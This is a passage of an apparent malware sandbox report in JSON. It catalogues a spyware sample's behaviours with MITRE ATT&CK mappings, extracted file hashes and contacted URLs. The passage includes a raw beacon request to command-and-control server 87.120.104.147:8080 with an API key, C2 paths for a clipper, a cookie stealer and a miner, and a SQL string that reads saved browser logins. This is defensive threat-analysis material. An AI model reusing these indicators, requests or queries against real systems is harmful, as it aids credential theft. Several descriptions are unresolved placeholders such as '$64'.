\"file\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$64","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: file\n Observed string: \"Shutdown System Privilege\" (Indicator: \"shutdown \") in Source: 00000000-00000700.00000000.194210.2FA40000.00000002.mdmp\n Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00000700.00000000.194210.2FA40000.00000002.mdmp\n Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00000700.00000000.194210.B5031000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"file\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"file\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; File: \"file\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"file\")\n Found reference to API \"NtWriteFile\" (Indicator: \"NtWriteFile\"; File: \"file\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"NtWriteFile\" (Indicator: \"NtWriteFile\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"file.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\WINDOWSPOWERSHELL\\V1.0\\POWERSHELL.EXE\"; Value: \"F9F0C6D69C2ADD010000000000000000000000000200000000\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$65","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"powershell.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$66","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"\"file.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\WINDOWSPOWERSHELL\\V1.0\\POWERSHELL.EXE\"; Value: \"F9F0C6D69C2ADD010000000000000000000000000200000000\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\LOCAL SETTINGS\\MUICACHE\\2FD\\52C64B7E\"; Key: \"LANGUAGELIST\"; Value: \"en-US\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; File: \"file\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; File: \"file\")\n Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; File: \"file\")\n Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"$67","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files with image extension","description":"\"128.png\" has type \"PNG image data 128 x 128 8-bit/color RGBA non-interlaced\" and extension \"png\"\n \"48.png\" has type \"PNG image data 48 x 48 8-bit/color RGBA non-interlaced\" and extension \"png\"\n \"32.png\" has type \"PNG image data 32 x 32 8-bit/color RGBA non-interlaced\" and extension \"png\"\n \"16.png\" has type \"PNG image data 16 x 16 8-bit/color RGBA non-interlaced\" and extension \"png\"\n \"icon.png\" has type \"PNG image data 200 x 200 1-bit colormap non-interlaced\" and extension \"png\"","origin":"Binary File","mitre_attack_id":"T1105","id":"binary-56","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"sysdropfa.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"WWAHost.exe.mui\" (Indicator: \"wwahost.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"file.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 700)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 1552)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for known debuggers/analysis tools","description":"Found string \"dbghelp.dll\" (Indicator: \"dbghelp.dll\"; File: \"file\")\n Found string \"dbghelp.dll\" (Indicator: \"dbghelp.dll\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":2,"id":"string-5","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"1/24 Antivirus vendors marked sample as malicious (4% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$68","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"sysmgnrsv.exe\" has type \"PE32+ executable for MS Windows 6.00 (console) x86-64 10 sections\"- [targetUID: N/A]\n \"205793_build.exe.part\" has type \"PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections\"- [targetUID: N/A]\n \"205792_clip.exe.part\" has type \"PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections\"- [targetUID: N/A]\n \"installer.exe\" has type \"PE32+ executable for MS Windows 6.00 (GUI) x86-64 9 sections\"- [targetUID: N/A]\n \"205795_build_x64.exe.part\" has type \"PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections\"- [targetUID: N/A]\n \"sysdropfa.exe\" has type \"PE32 executable for MS Windows 5.00 (GUI) Intel i386 5 sections\"- [targetUID: N/A]\n \"205794_Miner.exe.part\" has type \"PE32 executable for MS Windows 5.00 (GUI) Intel i386 5 sections\"- [targetUID: N/A]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 87.120.104.147 on port 8080 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains native function calls","description":"NtReadFile@ntdll.dll at 39755-3508-0000000140142E80\n NtReadFile@ntdll.dll at 39755-3512-000000014013EED0\n NtOpenFile@ntdll.dll at 39755-3537-000000014014C310\n NtWriteFile@ntdll.dll at 39755-3557-0000000140138F20\n NtReadFile@ntdll.dll at 39755-3565-00000001401401B0\n NtReadFile@ntdll.dll at 39755-3570-000000014013EA00\n NtCancelIoFileEx@ntdll.dll at 39755-5984-000000014007E5D0\n NtDeviceIoControlFile@ntdll.dll at 39755-6015-000000014007F73A\n NtQueryInformationProcess@ntdll.dll at 39755-11542-0000000140154E48\n NtQueryInformationProcess@ntdll.dll at 39755-11556-0000000140156036","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":5,"id":"stream-22","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$69","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_90% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"file.exe\" wrote 00000FB8 bytes to a remote process \"C:\\Windows\\System32\\getmac.exe\" (Handle: 1412)\n \"file.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\getmac.exe\" (Handle: 1412)\n \"file.exe\" wrote 00000FB8 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1436)\n \"file.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1436)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 87.120.104.147 on port 8080","origin":"Network Traffic","mitre_attack_id":"T1571","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Collects system information using GET request","description":"\"GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE HTTP/1.1\nx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6\naccept: */*\nhost: 87.120.104.147:8080\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-39","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Collects system information using POST request","description":"$6a","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Opens a handle of credential dumping utility","description":"\"file.exe\" opens a process \"C:\\Windows\\System32\\lsass.exe\" (UID: 00000000-00000700)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-300","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Steals sensitive data from browsers","description":"Found string \"savedLogin DataLogin Data For AccountSELECT origin_url, username_value, password_value FROM logins ORDER BY origin_url\"; File: \"file\")\n Found string \"savedLogin DataLogin Data For AccountSELECT origin_url, username_value, password_value FROM logins ORDER BY origin_url\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1005","relevance":10,"id":"string-508","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$6b","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]}],"incidents":[{"name":"Spyware","details_count":5,"details":[{"detail":"POSTs data to a web server"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"},{"detail":"Collects system information using GET request"},{"detail":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"Evasive","details_count":5,"details":[{"detail":"The input sample contains a known anti-VM trick"},{"detail":"References security-related Windows services"},{"detail":"Able to check if a debugger is running"},{"detail":"Contains ability to adjust token privileges"},{"detail":"Contains ability to terminate a process"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Contains ability to enumerate volumes"}],"sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]}],"intel_graph":{"map":{"File:04168e3872a815ace4f4c59a787ef0d10782df4b2111d46d899b10eade942f80":{"type":"File","value":"04168e3872a815ace4f4c59a787ef0d10782df4b2111d46d899b10eade942f80"},"File:06c52cf8a22691d35691646d559f031c8dcb6b7410ecac03296e8064f0ff6546":{"type":"File","value":"06c52cf8a22691d35691646d559f031c8dcb6b7410ecac03296e8064f0ff6546"},"File:10e1ada52f2c92883218292c3aeeb29061a4fc2b91972ad6315bb331396a93ab":{"type":"File","value":"10e1ada52f2c92883218292c3aeeb29061a4fc2b91972ad6315bb331396a93ab"},"File:11eda63a2c2164aa2c4088a8493ea60ec85a16d5af60f628b9ae540e40b1b1c8":{"type":"File","value":"11eda63a2c2164aa2c4088a8493ea60ec85a16d5af60f628b9ae540e40b1b1c8"},"File:14770473282440dc072ab9e40f297a82645f9e07b97641c507d2eab264175b43":{"type":"File","value":"14770473282440dc072ab9e40f297a82645f9e07b97641c507d2eab264175b43"},"File:1b4ff05bd3e8712dd081ef5ee246ac1697ad9f2be413d749eefe9bf0baf32e8b":{"type":"File","value":"1b4ff05bd3e8712dd081ef5ee246ac1697ad9f2be413d749eefe9bf0baf32e8b"},"File:1f1058691b9076053aa4b131963b804dd3055c10e64af69a7241ec819ac9f681":{"type":"File","value":"1f1058691b9076053aa4b131963b804dd3055c10e64af69a7241ec819ac9f681"},"File:4b54d8dc7e531f7a05cd6576a4e8c737bb2d9aea7cbf2c0da240d14ccd4069e4":{"type":"File","value":"4b54d8dc7e531f7a05cd6576a4e8c737bb2d9aea7cbf2c0da240d14ccd4069e4"},"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c":{"type":"File","value":"6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c"},"File:6c825586ea24fb52c4e87ee5ee3be2eda4e6b114a76a4c3d8ab16f58eadd69ba":{"type":"File","value":"6c825586ea24fb52c4e87ee5ee3be2eda4e6b114a76a4c3d8ab16f58eadd69ba"},"File:8af955766de374954dfe3371ba6e916212a945417228811612acc7e02dcec94a":{"type":"File","value":"8af955766de374954dfe3371ba6e916212a945417228811612acc7e02dcec94a"},"File:8eae625c47b072f1f34afb5033d51a3d17820322f8bae6cbd5fbd83ba2d8c95d":{"type":"File","value":"8eae625c47b072f1f34afb5033d51a3d17820322f8bae6cbd5fbd83ba2d8c95d"},"File:993edfd641dabaf1b76adfca87b6e6a63b068db558ba51f1dbd9d6883af55a1d":{"type":"File","value":"993edfd641dabaf1b76adfca87b6e6a63b068db558ba51f1dbd9d6883af55a1d"},"File:99ed2ed86ded1c9fc51cfd5813c23b041fc83523d79f0de52ab04549b19c2e01":{"type":"File","value":"99ed2ed86ded1c9fc51cfd5813c23b041fc83523d79f0de52ab04549b19c2e01"},"File:b96935d889b6eb3b0974d0757e7b4a3ab0cc106a2769e63a24936a55e9fbee9c":{"type":"File","value":"b96935d889b6eb3b0974d0757e7b4a3ab0cc106a2769e63a24936a55e9fbee9c"},"File:ba8a22ed2a239aeb018637cf8745f9fd115cc01cd112f643cbd4a97dd7f3f2d7":{"type":"File","value":"ba8a22ed2a239aeb018637cf8745f9fd115cc01cd112f643cbd4a97dd7f3f2d7"},"File:bc7d2196729fdf734a19cb57f479256cf545fbe896ee0722712928810425a351":{"type":"File","value":"bc7d2196729fdf734a19cb57f479256cf545fbe896ee0722712928810425a351"},"File:c1778d2910b3783259e5a2f984be6fd868fefbc4b0842e669552a933568367c3":{"type":"File","value":"c1778d2910b3783259e5a2f984be6fd868fefbc4b0842e669552a933568367c3"},"File:d59a48548c3342e337333e57159266fee8596e79f39fea996bf53786af1aa8fb":{"type":"File","value":"d59a48548c3342e337333e57159266fee8596e79f39fea996bf53786af1aa8fb"},"File:e6b384718ad9f1e793e4de4400391fc96be67aec9cdeca4a408e8ecec7ee6fcb":{"type":"File","value":"e6b384718ad9f1e793e4de4400391fc96be67aec9cdeca4a408e8ecec7ee6fcb"},"Ip:87.120.104.147":{"type":"Ip","value":"87.120.104.147"},"Url:/api/v1/agent/tasks/205792/ack":{"type":"Url","value":"/api/v1/agent/tasks/205792/ack"},"Url:/api/v1/agent/tasks/205793/ack":{"type":"Url","value":"/api/v1/agent/tasks/205793/ack"},"Url:/api/v1/agent/tasks/205794/ack":{"type":"Url","value":"/api/v1/agent/tasks/205794/ack"},"Url:/api/v1/agent/tasks/205795/ack":{"type":"Url","value":"/api/v1/agent/tasks/205795/ack"},"Url:/api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE":{"type":"Url","value":"/api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE"},"Url:/api/v1/checkin":{"type":"Url","value":"/api/v1/checkin"},"Url:/api/v1/clipper/checkin":{"type":"Url","value":"/api/v1/clipper/checkin"},"Url:/api/v1/clipper/config":{"type":"Url","value":"/api/v1/clipper/config"},"Url:/api/v1/clipper/ping":{"type":"Url","value":"/api/v1/clipper/ping"},"Url:/api/v1/ext/cookies":{"type":"Url","value":"/api/v1/ext/cookies"},"Url:/api/v1/ext/extensions":{"type":"Url","value":"/api/v1/ext/extensions"},"Url:/api/v1/ext/ping":{"type":"Url","value":"/api/v1/ext/ping"},"Url:/d/Miner":{"type":"Url","value":"/d/Miner"},"Url:/d/build":{"type":"Url","value":"/d/build"},"Url:/d/clip":{"type":"Url","value":"/d/clip"}},"chains":[{"id":"sandbox_network","root":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","edges":[{"edge_kind":"contacted_ip","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"Ip:87.120.104.147"},{"edge_kind":"contacted_url","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"Url:/api/v1/checkin"},{"edge_kind":"contacted_url","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"Url:/api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE"},{"edge_kind":"contacted_url","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"Url:/d/clip"},{"edge_kind":"contacted_url","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"Url:/api/v1/agent/tasks/205792/ack"},{"edge_kind":"contacted_url","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"Url:/api/v1/clipper/checkin"},{"edge_kind":"contacted_url","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"Url:/api/v1/clipper/config"},{"edge_kind":"contacted_url","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"Url:/api/v1/clipper/ping"},{"edge_kind":"contacted_url","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"Url:/d/build"},{"edge_kind":"contacted_url","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"Url:/api/v1/agent/tasks/205793/ack"},{"edge_kind":"contacted_url","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"Url:/d/Miner"},{"edge_kind":"contacted_url","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"Url:/api/v1/agent/tasks/205794/ack"},{"edge_kind":"contacted_url","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"Url:/api/v1/agent/tasks/205795/ack"},{"edge_kind":"contacted_url","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"Url:/api/v1/ext/extensions"},{"edge_kind":"contacted_url","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"Url:/api/v1/ext/ping"},{"edge_kind":"contacted_url","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"Url:/api/v1/ext/cookies"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","edges":[{"edge_kind":"extracted","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"File:6c825586ea24fb52c4e87ee5ee3be2eda4e6b114a76a4c3d8ab16f58eadd69ba"},{"edge_kind":"extracted","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"File:10e1ada52f2c92883218292c3aeeb29061a4fc2b91972ad6315bb331396a93ab"},{"edge_kind":"extracted","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c"},{"edge_kind":"extracted","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"File:8eae625c47b072f1f34afb5033d51a3d17820322f8bae6cbd5fbd83ba2d8c95d"},{"edge_kind":"extracted","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"File:ba8a22ed2a239aeb018637cf8745f9fd115cc01cd112f643cbd4a97dd7f3f2d7"},{"edge_kind":"extracted","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"File:c1778d2910b3783259e5a2f984be6fd868fefbc4b0842e669552a933568367c3"},{"edge_kind":"extracted","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"File:b96935d889b6eb3b0974d0757e7b4a3ab0cc106a2769e63a24936a55e9fbee9c"},{"edge_kind":"extracted","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"File:b96935d889b6eb3b0974d0757e7b4a3ab0cc106a2769e63a24936a55e9fbee9c"},{"edge_kind":"extracted","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"File:8af955766de374954dfe3371ba6e916212a945417228811612acc7e02dcec94a"},{"edge_kind":"extracted","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"File:06c52cf8a22691d35691646d559f031c8dcb6b7410ecac03296e8064f0ff6546"},{"edge_kind":"extracted","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"File:bc7d2196729fdf734a19cb57f479256cf545fbe896ee0722712928810425a351"},{"edge_kind":"extracted","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"File:14770473282440dc072ab9e40f297a82645f9e07b97641c507d2eab264175b43"},{"edge_kind":"extracted","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"File:e6b384718ad9f1e793e4de4400391fc96be67aec9cdeca4a408e8ecec7ee6fcb"},{"edge_kind":"extracted","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"File:1f1058691b9076053aa4b131963b804dd3055c10e64af69a7241ec819ac9f681"},{"edge_kind":"extracted","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"File:1b4ff05bd3e8712dd081ef5ee246ac1697ad9f2be413d749eefe9bf0baf32e8b"},{"edge_kind":"extracted","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"File:4b54d8dc7e531f7a05cd6576a4e8c737bb2d9aea7cbf2c0da240d14ccd4069e4"},{"edge_kind":"extracted","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"File:11eda63a2c2164aa2c4088a8493ea60ec85a16d5af60f628b9ae540e40b1b1c8"},{"edge_kind":"extracted","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"File:04168e3872a815ace4f4c59a787ef0d10782df4b2111d46d899b10eade942f80"},{"edge_kind":"extracted","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc0ff8400ac75324c","to_key":"File:99ed2ed86ded1c9fc51cfd5813c23b041fc83523d79f0de52ab04549b19c2e01"},{"edge_kind":"extracted","from_key":"File:6acdd71730d33689acaad80591691c6cbd3d653656c628fcc